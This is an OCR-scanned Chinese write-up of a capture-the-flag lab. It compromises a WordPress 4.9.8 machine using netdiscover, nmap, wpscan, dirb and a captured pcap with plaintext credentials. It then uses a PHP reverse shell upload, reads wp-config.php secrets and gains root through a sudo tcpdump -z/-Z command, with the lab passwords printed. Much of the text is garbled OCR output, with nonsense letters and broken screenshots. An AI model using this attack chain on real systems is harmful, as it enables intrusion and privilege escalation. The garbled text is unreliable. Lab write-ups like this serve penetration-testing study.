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BEHRESC M “cap”s 40T “cap” 3CfF, REIMNEEE K SHEN; WAERA BRI ; FARRKRERS
BKSH; SSH mEEFMSEE: tepdumpiKRLH .
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1. BRI B# (netdiscover), #kF|WebDeveloperfIPihhl. & & .

M PALEN

ipHihik B 05 T E#)192.168.64.133

Pl

4 packets received by lter, @ packets dropped by kernel
Endi rp-scan 1.9.7: 256 hosts scanned in 1.968 seconds (130.88 ﬁpqE}ﬁ
4 responded S

2. FANMAPH# B FEN, KO ERENREOFR. RSB, BEF 0 ERRERNRSEHLE? CGHIH
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Host is up (
Not shown:

MAL Agaress:
vice Info: Linux; CPE:

detection performed. Please
ubmit/ .
: 1 IP address (1 host up)

POSTS
OCTOBER 30, 2018
Hello world! o n
Welcome to WordPress. This is your first post. Edit or delete it, ther
RECENT POSTS
Hello workd

RECENT COMMENTE

A WordPress Commenter Helbo we

ARCHIVES

ey LY

4. FIFwhatweb# 3 B A7 I3 {# F EICMSHIB. AR, 4B B EICMS AT 4 2

18 Fi fir 4 “whatwed 192.168.241.134” & J5 15 2112 M 34 {5 FH 1 & WordPress[4.9.8]

Nmap done: 1 IP addr (1 host up) scanned in 0.33 seconds

[200 OK] Apache[2.4.29], Country[RESERVED][ , HTMLS,

HTTPServer| 1[ ], IP[192.168.64.133], JQuery|[
1.12.4], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress,WordPress,], Scr
ipt[text/javascript], Title[Example site i

g 11; Just another WordPres:
, UncommonHeaders[link], WordPress[4.9

5. M Rwpscan, fRIEHHHIIEE.



WPScanz —A~H# WordPress R B &AM, ZAMB T LLSLI KB Wordpressyl s 1 44, R
BRFEREG. 8, URFAERAKEG. 8, FRERFEEE. RS CASZELST RN 3 Wordpress
VBRI P 2.

6. f/ Dirb BNy HI. (Dirb B—MEITHTRBEXRNIA, £ Kali #FERRINEL %K, RUTHRLEH
[ 4Mf)patator, dirsearch, DirBuster, EHHEG]) #E. KB —MUAFHMEREGRPEF (BR) .

5 N\ fir 4184 dirb http://192.168.64.133”

B EE A RIZM R ER K.
7. WAV EIZER (BE) , KA—Acapxfh. #HE.

Index of fipdata

< ¢ @

& Kali Linux ¥ Kali Tools M Kali Forums # Kali Docs & MetHunter J Offensive ‘_T.r;'r_.J[i-'_':lr

Index of /ipdata

Name Last modified Size Description

+ Parent Directory -
@ analyze.cap 2018-10-30 09:14 2.8M

Apache/2.4.29 (Ubuntu) Server at 192.168.64.133 Port 80 — .

(a1
LA TN

8. FHWireshark/ T iZ#3Ea, 4TCPEER . HAM2FHKEE? BE.



File Edit View Go pture  Analyze S Telephony Wirel Tools Help

ADAO +t RRR@ 2 ¢« >0 «>N

[ [mttp.request. method= =POST

Time ource Protocol  Length Info
186 98.210143 192.168.1.222 192.168.1.176 799 FOST Jwordpr -login.php HTTP/1.1 (application/x-www-form-urlencoded)
665 123,135136 192.168.1.222 192.168.1.176 1815 POST Jwordpress/wp-admin/admin-ajax.php HTTP/1.1 (application/x-wew-form-urlencoded)

r Tr Ite _ L: r L ’ CK: v en:
[@Hypertext Transfer Protocol
* HTM| IRL E: ed: appl C E B

i 1 og
veloperd

® bl Textitemn (text), 17 bytes Displayed: 2 (0.2%)

M\ R 0% 5% R Bk S A% . Login: webdeveloper, password: Te5eQg&4sBS!Yr$)wi%(DcAd.
9. FH E—BRIIMEEHEANMEEFEE. BE.
&M 15192.168.64.133/wp-admin/, F_E— B 3REUK K 5 200 BN AT B 5% .

Dashboard

L]

A new, modern publishing experience is coming soon.

Test the new editor today. Not quite ready?
@ |
E =} =
= e d

Welcome to WordPress! o

10. FIHZCMSHELER (FEHPlugind g .
miplugins, #3481 File manager:



Add Plugins upinadPlgin

Search Resuls 5 i Keypword - |

File Manager How = FileBird - WordPress Ll
Media Library Folders &
File Manager

Ad s

130 Lasi Updabed: 5

200,000+ At Instaliations o Compatile Wit pour wErsian of Worderes

Last Updabed:

Wie Active nstallatic ¥ Compatible with erson of

Adwvanced File Manager Mo Filester - File Manager 151 8

-fﬁ«l shaplers

Change Theme Here:  Difault

T B

Modihed
ipdata Ipdata Ot 30. 2018 05:14 AM
ile Manager

S wp-agmin read and wiite Aug 02, 2018 04:39 PM

e — SR wp-consent read and write Today 03:33 AM
w-Includes wi-nchigas read and wta A 02, B 0430 PM
Incla, php read and writs Sep 24, 2003 08:18 PM
license bt e r] write Jan 06, 02:32 PM
readme, héml mead and wie Mar 1B, 2018 1212 PM
read and write May 01 a 10 PM™
and write Dec 19, 2015 06:20 AM
| wribe May 02, 2008 0611 FM
read and wike 2015 04:58 AM

ad and virite

wip-chon. php e g 20, 2007 00:37 AM
wip-Enks-apmil php a0l and writs Mo 20, 2006 09:46 PM
wip-load php read amnd write Aug 22, 2007 07:52 AM

wip-login.phg read and write Jul 16, 2018 10:14 AM

English

Kind

Foider

Foider

Foider

Foider

PHP 500Me
Plain bext

HTML documernt
BHE

PHP source

PHP source
PHP sounce
PHP source

PHP source

anfig.phgp. 3 KB

TSR AT LA 2K S 2588, K-S : username, ZHY: MasterofTheUniverse.

ems: 21, Size: 14




ftrmpimaoazilla_kali0fwp-config.php [Read Only] - Mousepad

View Document Help

23 define
24
25
26 define
27

| 28
29 define
30

31
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33

34 [#H
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36
37
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39
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1. Az IR TR R AL

A% 1. FFMeterSploitifff+reflex galleryiEH4H-IRIASZHL . ZHreflex galleryidft. FI % 3H 4 AT BEFE7E KD
iR

B &iEE, BEwp-config.php3RE K S K& 04

AiETTR2: bk R#shell.

php-reverse-shell | pentestmonkey

[BH: PHPMuEIE; Kl@E: bAME, URLVTH(EH)iZx #Hshell ) HTH .

Theg: ZMASKERMTCPERIIKEHE (WATIEREH IPHILMEHDS) . ]
ZCMSHAPHPIT &, 7T LUF A HSE3l  #shell. ERZEEHISGHIPHAEME D . (GeRBEHED .
HANEE, REUEE—APHPRE, #RJ5H Hphp-reverse-shell. PHPHIAASAE 2% R T8 I8 AS .«
BRSO B AR IPHLIE & i 1 (BSOS B3 IPHhE XTI 05 .

Wil F A Kalih M AINCIF g MW, Zodi & B S8 4307 B S PHP I . AT 5 2 e #ishell (A www-data)
By, BFEwp-config.php Bk S &kH4. GEEBRE)

T7%3: FIRXXHEEEM (File manager) ¥Wif.

IR ZAEM, B LR Bwp-config.php.

PAETTR=8—, BRIRBITCASEIMTR, B#IEDERERE,

AT RS, BEmSE10.

12, SSHE FHR% 2

ZRA A _E— B IRERU7 17 B8 R P 4 D T R IR S5 4% . A

S AT A4 : ssh webdeveloper@192.168.64.133


http://pentestmonkey.net/tools/web-shells/php-reverse-shell

loperml92. 1¢
rmission denied,
loperml92.1¢

ne to Ubuntu

help.ubuntu.com
landscape.canonica
ubuntu.com/advanta

Sun Dec 12

f 19.56GB

Super-optimized for small aces - read how we shrank the memory
footprint of MicroK8s ke i e smallest full K8s around.

ubuntu.com/blog/micr is—memory-optimisation

2018 from 192.168.1.114

1. ZikAEF/rootflag.txt

PAk# N 454 1: cat /root/flag.txt

/root/flag.txt
Permission denied

CSDN

WEEEE, BERFRVHfag.ixt

13. f# FtcpdumpPATAEE R4 (Ltcpdumpii R B R A E S HATIR ERH4S. )
BE U F B IPATH 4.
#Nfr4: sudo-l, #RJ5%i A\password




R I Lhroot i FR $i47tcpdumptin &

BT 3 [#y4i8A]): touch /tmp/exploit]

5 Ashellcode [#4i&4]: echo “cat /root/flag.txt” > /tmp/exploit]
AT $ATAUR [#r4iE4): chmod +x /tmp/exploit]

F A tcpdumpPATAEE @4 [@41E4): sudo tcpdump -In -i ethO -w /dev/null -W 1 -G 1 -z /tmp/exploit -
Z root]

%ﬁ?@ﬂag:

> /tmp/exploitl

Sdev/null W 1 -G 1

dropped p1 u
tcpdump: 11:Tnn1n€ on nThQ, link-type EN1@MB (Ethernet), capture size 262144

1

tulations here is youre flag:
5d298@

tcpdump iy & 1 f# :

-i eth0 A\F5 7€ P R i 3R 44

-w /dev/null R 3R B 0 BE B Bl = s (MR BIERERD

-z [command] &17 18 & Ky &

-Z [user] 1€ P #AT i &

-G [rotate_seconds] & rotate_seconds#»— X FIAR R $h47-wik & K #5 ik
-W [num] #EMEHE
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